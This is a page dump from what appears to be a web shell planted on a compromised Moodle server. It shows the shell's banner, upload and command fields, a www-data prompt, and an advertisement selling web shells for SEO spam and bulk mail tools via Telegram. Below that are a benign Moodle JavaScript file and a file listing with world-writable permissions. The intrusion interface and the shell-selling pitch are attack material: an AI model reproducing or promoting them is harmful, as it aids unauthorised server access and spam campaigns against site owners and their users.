__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Competency rule points module.
 *
 * @module     tool_lp/competency_rule_points
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

define(['jquery',
        'core/str',
        'core/templates',
        'tool_lp/competency_rule',
        ],
        function($, Str, Templates, RuleBase) {

    /**
     * Competency rule points class.
     */
    var Rule = function() {
        RuleBase.apply(this, arguments);
    };
    Rule.prototype = Object.create(RuleBase.prototype);

    /** @property {Node} Reference to the container in which the template was included. */
    Rule.prototype._container = null;
    /** @property {Boolean} Whether or not the template was included. */
    Rule.prototype._templateLoaded = false;

    /**
     * The config established by this rule.
     *
     * @return {String}
     * @method getConfig
     */
    Rule.prototype.getConfig = function() {
        return JSON.stringify({
            base: {
                points: this._getRequiredPoints(),
            },
            competencies: this._getCompetenciesConfig()
        });
    };

    /**
     * Gathers the input provided by the user for competencies.
     *
     * @return {Array} Containing id, points and required.
     * @method _getCompetenciesConfig
     * @protected
     */
    Rule.prototype._getCompetenciesConfig = function() {
        var competencies = [];

        this._container.find('[data-competency]').each(function() {
            var node = $(this),
                id = node.data('competency'),
                points = parseInt(node.find('[name="points"]').val(), 10),
                required = node.find('[name="required"]').prop('checked');

            competencies.push({
                id: id,
                points: points,
                required: required ? 1 : 0
            });
        });

        return competencies;
    };

    /**
     * Fetches the required points set by the user.
     *
     * @return {Number}
     * @method _getRequiredPoints
     * @protected
     */
    Rule.prototype._getRequiredPoints = function() {
        return parseInt(this._container.find('[name="requiredpoints"]').val() || 1, 10);
    };

    /**
     * Return the type of the module.
     *
     * @return {String}
     * @method getType
     */
    Rule.prototype.getType = function() {
        return 'core_competency\\competency_rule_points';
    };

    /**
     * Callback to inject the template.
     *
     * @param  {Node} container Node to inject in.
     * @return {Promise} Resolved when done.
     * @method injectTemplate
     */
    Rule.prototype.injectTemplate = function(container) {
        var self = this,
            children = this._tree.getChildren(this._competency.id),
            context,
            config = {
                base: {points: 2},
                competencies: []
            };

        this._templateLoaded = false;

        // Only pre-load the configuration when the competency is using this rule.
        if (self._competency.ruletype == self.getType()) {
            try {
                config = JSON.parse(self._competency.ruleconfig);
            } catch (e) {
                // eslint-disable-line no-empty
            }
        }

        context = {
            requiredpoints: (config && config.base) ? config.base.points : 2,
            competency: self._competency,
            children: []
        };

        $.each(children, function(index, child) {
            var competency = {
                id: child.id,
                shortname: child.shortname,
                required: false,
                points: 0
            };

            if (config) {
                $.each(config.competencies, function(index, comp) {
                    if (comp.id == competency.id) {
                        competency.required = comp.required ? true : false;
                        competency.points = comp.points;
                    }
                });
            }

            context.children.push(competency);
        });

        return Templates.render('tool_lp/competency_rule_points', context).then(function(html) {
            self._container = container;
            container.html(html);
            container.find('input').change(function() {
                self._triggerChange();
            });

            // We're done, let's trigger a change.
            self._templateLoaded = true;
            self._triggerChange();
            return;
        });
    };

    /**
     * Whether or not the current config is valid.
     *
     * @return {Boolean}
     * @method isValid
     */
    Rule.prototype.isValid = function() {
        if (!this._templateLoaded) {
            return false;
        }

        var required = this._getRequiredPoints(),
            max = 0,
            valid = true;

        $.each(this._getCompetenciesConfig(), function(index, competency) {
            if (competency.points < 0) {
                valid = false;
            }
            max += competency.points;
        });

        valid = valid && max >= required;
        return valid;
    };

    return Rule;
});

Filemanager

Name Type Size Permission Actions
actionselector.js File 6.08 KB 0777
competencies.js File 13.4 KB 0777
competency_outcomes.js File 2.76 KB 0777
competency_plan_navigation.js File 2.84 KB 0777
competency_rule.js File 4.48 KB 0777
competency_rule_all.js File 1.64 KB 0777
competency_rule_points.js File 5.74 KB 0777
competencyactions.js File 31.19 KB 0777
competencydialogue.js File 5.57 KB 0777
competencypicker.js File 15.34 KB 0777
competencypicker_user_plans.js File 7.18 KB 0777
competencyruleconfig.js File 14.63 KB 0777
competencytree.js File 9.21 KB 0777
course_competency_settings.js File 5.1 KB 0777
dialogue.js File 4.22 KB 0777
dragdrop-reorder.js File 3.94 KB 0777
event_base.js File 1.72 KB 0777
evidence_delete.js File 3.47 KB 0777
form-user-selector.js File 3.04 KB 0777
form_competency_element.js File 4.58 KB 0777
frameworkactions.js File 5.86 KB 0777
frameworks_datasource.js File 3.2 KB 0777
grade_dialogue.js File 4.24 KB 0777
grade_user_competency_inline.js File 5.46 KB 0777
menubar.js File 29.26 KB 0777
module_navigation.js File 2.19 KB 0777
parentcompetency_form.js File 5.99 KB 0777
planactions.js File 19.75 KB 0777
scaleconfig.js File 8.21 KB 0777
scalevalues.js File 1.9 KB 0777
templateactions.js File 7.08 KB 0777
tree.js File 19.83 KB 0777
user_competency_course_navigation.js File 3.31 KB 0777
user_competency_info.js File 4.4 KB 0777
user_competency_plan_popup.js File 4.87 KB 0777
user_competency_workflow.js File 9.06 KB 0777
user_evidence_actions.js File 13.74 KB 0777
Filemanager